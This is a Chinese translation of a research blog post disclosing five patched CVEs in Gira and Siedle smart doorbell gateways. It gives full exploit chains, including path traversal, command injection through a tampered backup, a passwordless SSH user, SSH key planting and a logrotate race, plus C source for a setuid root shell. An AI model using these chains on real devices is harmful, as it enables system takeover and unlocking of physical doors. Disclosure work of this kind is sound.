物理攻击电脑的方法有很多,例如插入一个“橡皮鸭” 或者物理的键盘记录器。事实上,接触这些电脑和服务器往往是受限的。这些威胁矢量的视角是“当它们已经在房间的时候,我们就完了”。然而,要是反过来呢?不是你的服务器、电脑、软件依赖于物理安全,而是你的物理安全依赖于电脑的安全呢?所有的智能门锁都是如此。我们研究了网关系统,它增强了传统的门铃解决方案,使用户可以从网络(甚至Internet)进行控制。这两个网关分别由 Siedle、Gira 制造。我们找到了可用的固件并开始漏洞挖掘。本文讲述我们发现的漏洞。
(Virtual) HITBAMS20 Talk
我们的演讲主题被 HIBTAMS2020 会议采纳,我们原计划带着设备做现场演示。然而,由于新冠肺炎疫情的影响,线下的会议被取消了。我仍然通过线上的方式举办了演讲。
此外,在这篇博文中,我们将详细介绍攻击链和技术细节。稍后,我们的演示和演讲内容会放在这里。
我们发现了 什么?
我们获得了两个网关的 root 权限以及 WEB 端的管理员权限。我们把门连接到这些存在漏洞的设备上,这就让我们能够把其他人关在门外,并具备对物理(真实的门禁)的访问权限。在本文的下面可以找到更多的利用链的技术细节。
MITRE 给了我们 5 个 CVE 编号:
- CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7 存在未授权的路径遍历漏洞,这使得攻击者能够下载应用程序的数据库。结合 CVE-2020-10795 能够拿到 root 的远程访问权限。
- CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7 在 WEB 前端中的备份功能处存在授权的远程代码执行漏洞。 结合 CVE-2020-10794 能够拿到 root 的远程访问权限。
- CVE-2020-9473: The S. Siedle & Soehne SG 150-0 1.2.4版本之前的智能网关,存在一个没有密码的 ftp ssh 用户。通过使用一个供给链,在当前网络中的攻击者能够拿到网关的 root 权限。
- CVE-2020-9474: The S. Siedle & Soehne SG 150-0 1.2.4版本之前的智能网关,可以利用WEB 前端的备份功能实现远程代码执行。通过使用了一个攻击链,在当前网络中的攻击者能够拿到网关的 root 权限。
- CVE-2020-9475: The S. Siedle & Soehne SG 150-0 1.2.4版本 之前的智能网关,通过 logrotate 的条件竞争实现本地权限提升。通过使用一个攻击链,在当前网络中的攻击者能够拿到网关的 root 权限。
负责任的漏洞披露
我们联系了两个供应商并把我们的发现告知了他们。到现在,这些系统已经进行了正确的升级,所有的漏洞对它们不再有效。Siedle 甚至给了我们一个未编译的测试固件镜像,这样我们就能够在更新发布之前检验是否修复了所有的缺陷。总体上来说,我们对两个供应商的回应感到高兴,显然他们意识到了这些发现的重要性。两个供应商立即在他们自己的设置中验证了它们,并专业地解决了问题。
Gira 利用链
CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7 未授权路径遍历
当我们开始研究 Gira TKS IP-Gateway 时,我们在 web 接口发现了一个路径遍历漏洞,利用这个漏洞我们下载了 /app/db/gira.db
文件。在这个文件有 admin 的 md5-hash 的密码。如果密码的强度不够是很容易通过暴力破解获得密码的。我们下载的/app/sdintern/messages
存在相同的漏洞。如果最近有人登录设备,密码会以明文的形式保存在在这个文件中。得到了登录凭证,这使得我们能够登录 web 前端重配设备或打开与之相连的门。
CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7 授权远程代码执行
现在我们已经获得了 web 界面上的管理权限,我们对 gira.db 进行了备份。这个备份使用了 tar 存档,我们可以打开并修改它:
sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"
以上代码中把 sed 命令放到了数据库中。在我们修改的 tar 归档文件中的 sedheg
文件替换 root 用户以及D3.IPGWvG! 用户的密码。它是看起来是这样的。
#!/bin/sh
s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7//D3.IPGWvG!:$1$eV3NNo/h$beH8VTIROWlVZKcrHvhu70/
s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7//root:$1$eV3NNo/h$beH8VTIROWlVZKcrHvhu70/
两个用户都拥有 root 权限,或者可以使用 sudo 提权。准备好之后,我们对修改后的文件重打包。然后,我们使用 WEB 端提供的恢复功能上传我们修改后的备份文件。这触发了我们伪造的新网络设置(标记为,==> ‘),$NETWORK 的值来自于我们修改后的 sqlite 数据库。
[...]
NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`
[...]
==> HNAME=`echo $NETWORK | /usr/bin/awk -F"|" '{print $2}'`;
NS=`echo $NETWORK | /usr/bin/awk -F"|" '{print $3}'`;
BOOTMODE=`echo $NETWORK | /usr/bin/awk -F"|" '{print $4}'`;
GW=`echo $NETWORK | /usr/bin/awk -F"|" '{print $5}'`;
IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;
NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;
然后在 /app/bin/network.sh
中的 sed 命令用到了 “$HNAME” 变量 。
echo "0" > /tmp/dhcp
echo "nameserver 192.168.0.1" > /etc/resolv.conf
echo -en "HOSTNAME: $HNAME"
echo -en ""
echo "$HNAME" > /etc/hostname
==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf
使用以上方法,我们把 root 的密码修改为了已知的。登录设备的最后一步,我们需要 dropbear ssh 包。 dropbear 是小型的嵌入式系统专用的 SSH 服务端和客户端工具。
但是设备中的版本太低以至于不兼容现代的 openssh 客户端。 使用命令 dbclient -p<port> root@<ip.address.of.target>
我们登录并获得了设备的 root 权限。
POC视频地址:https://vimeo.com/410960486
Siedle 利用链
CVE-2020-9473: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前 无密码的FTP 用户
在 Siedle SG-150 这个案例中,我们进入系统的入口点是给 ftp 用户设置一个密码。之所以可以这样,是因为固件中没有包含这个用户的任何密码。通过 ssh 设置密码后,我们使用 ssh -v -N ftp@<ip.of.the.gateway> -L 1337:127.0.0.1:63601
绑定内部的 MYSQL 数据库端口到我们本地的 1337端口。
在公开的固件的一些 shell 脚本中和配置文件中,我们找到了数据库 root 用户的静态密码 “siedle”。使用这个密码和之前设置的端口转发,我们使用命令mysql -h 127.0.0.1 -u root -P 1337 -psiedle
以管理员的身份访问了数据库。
数据库有不同的用途,其中一个是存储用于 web 应用程序管理设备的凭据。拥有数据库的 root 权限后我们能够给 web 应用添加一个具备管理员权限的用户。至此,我们能够控制和重新配置这些已经连接到网关上的设备。这授予了打开已连接网关的智能门的能力。
CVE-2020-9474: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前 任意代码执行
这将带领我们走向下一步:拿到 shell。在 web 应用中,我们能够下载应用程序的配置文件 config.bak
。备份文件使用了 squashfs 文件系统,解包打开后里面有一个名为backup.sql
的文件。我们生成了一个 ssh 密钥并把以下的四行代码添加到 backup.sql 文件的开头。
! mkdir /var/lib/mysql/.ssh
! echo <ssh pulic key> >> /var/lib/sql/.ssh/authorized_keys
! chmod 0700 /var/lib/mysql/.ssh
! chmod 0600 /var/lib/mysql/.ssh/authorized_keys
译者注:!
表示运行系统函数, 另一种更常见的写法是 system
。
然后,我们重打包 squashfs 并把它上传给 web 应用的恢复程序。在等待几分钟之后,恢复程序执行完毕,我们就能通过 ssh 密钥以 mysql 用户的身份访问设备。当我们修改的文件中的命令执行之后,mysql 用户的 ~/.ssh/authorized_key
就生成了。
CVE-2020-9475: S. Siedle & Soehne SG 150-0 Smart Gateway 1.2.4版本之前 本地权限提升
为了提升我们的权限,用到了 logrotate 脚本中的一个错误配置。此外,我们写了三个小程序,分别命名为 bind、symlink 和 root。这些程序的源码会附在文章的末尾。我们已经有了 shell 的访问权限,我们交叉编译这三个ARM平台的应用程序,并将他们拷贝到设备上。
我们想要触发 MySQL logrotate 脚本的如下部分。
MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then
$MYADMIN flush-logs
else
# manually move it, to mimic above behaviour
mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old
# recreate mysql.log, else logrotate would miss it
touch /var/log/mysql/mysql.log
chown mysql.mysql /var/log/mysql/mysql.log
chmod 0664 /var/log/mysql/mysql.log
fi
为了触发这部分的代码,我们需要促使 mysqladmin ping
返回非零值,这种情况只有当 mysql 服务停止时才会发生 。更改凭证或者甚至删整个数据都无助于事,mysqladmin 的返回值仍旧是 0。我们需要把数据库处于不可用的状态。如果你使用 systemd 关闭服务,系统会自动重启服务。我们需要处理这个问题,于是我们的第一个脚本(bind)就出现了。我们使用它绑定 mysql 数据库所使用的 63601 端口。
while true; do ./bind 63601; sleep 1; done
在第二个终端中,我们关闭数据库。由于数据库使用的端口已经被占用,在数据库服务重启时绑定端口失败从而进入了挂起状态。因为 mysql 会在关闭与开启之间释放端口,所以我们可以在数据库服务关闭和启动之间运行,用我们的程序阻塞端口。使用这种方法 mysqladmin
返回 1,于是我们可以跳转到 else 代码分支下。
然后,需要用到我们的第二个程序:symlink。这个程序的目标是在/etc/logrotate.d/
目录下创建一个我们可控可写的文件。logrotate 会以 root 权限执行这个目录下的所有脚本。为了实现上述目标,我们使用 logrotate 脚本清理 MySQL 日志文件,并设法创建一个从符号链接,这个链接由 /var/log/mysql/mysql.log
指向一个名为 /etc/logrotate.d/rootme
的文件。此时还没有 rootme 文件,但这并不是问题。伴随着符号链接,logrotate 以 root 权限创建了 /etc/logrotate.d/rootme
文件,并通过 chown
把所属权给了 mysql 用户。为了避免 mysql 写入我们之前准备的文件,我们需要删除这个符号链接并为它创建一个新的/var/log/mysql/mysql.log
文件。然后,我用以下内容填充/etc/logrotate.de/rootme
文件:
/var/log/mysql/rootme.log {
delaycompress
nosharedscripts
copy
firstaction
chown root:root /tmp/root
chmod +s /tmp/root
mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old
touch /var/log/mysql/rootme.log
chown mysql.mysql /var/log/mysql/rootme.log
chmod 0664 /var/log/mysql/rootme.log
fi
endscript
lastaction
mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1
endscript
}
/tmp/root
是我们的第三个程序,也就是我们的 suid root shell。以上内容完成之后,我们需要填充 /var/log/mysql/rootme.log
文件再次触发 logrotate。现在,我们的suid 二进制文件有了 root 权限,可以使用这种方式:/tmp/root passwd root
修改 root 密码。现在,我们修改了 root 用户的密码,获得了系统所有权。
POC视频地址:https://vimeo.com/410961877
关于研究人员
我们是一群在学校工作的学生。这项研究是由朱利安·贝尔、塞巴斯蒂安·尼夫、拉尔斯·伯hop和维克多·施吕特进行的。这学期,我们在柏林工业大学学习,并在学校做兼职。在假期,我们有更多的可用时间,这使我们能够做一些较大的项目,如这个。最后但并非最不重要的是,我们在的空闲时间与我们的朋友从研究小组计算机安全(AG Rechnersicherheit)一起参加了 CTF 竞赛。
附录
bind.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void error(const char *msg) {
perror(msg);
exit(1);
}
int main(int argc, char **argv) {
int sockfd, newsockfd, portno, pid;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
if (argc < 2) {
fprintf(stderr,"ERROR, no port providedn");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
listen(sockfd,5);
accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
return 0;
}
symlink.c
#include <unistd.h>
int main(int argc, char **argv) {
int ret;
char *watchPath = argv[1];
char *linkPath = argv[2];
while(1) {
ret = symlink(linkPath, watchPath);
if (ret == 0)
return 0;
}
return 0;
}
root.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
char *join_command(char **commands) {
char *res = (char *)malloc(strlen(commands[0]));
strncpy(res, commands[0], strlen(commands[0]));
for (char **command = ++commands; *command != NULL; command++) {
res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);
strcat(res, " ");
strcat(res, *command);
}
return res;
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage: ./root <command>");
}
setuid(0);
setgid(0);
system(join_command(++argv));
return 0;
}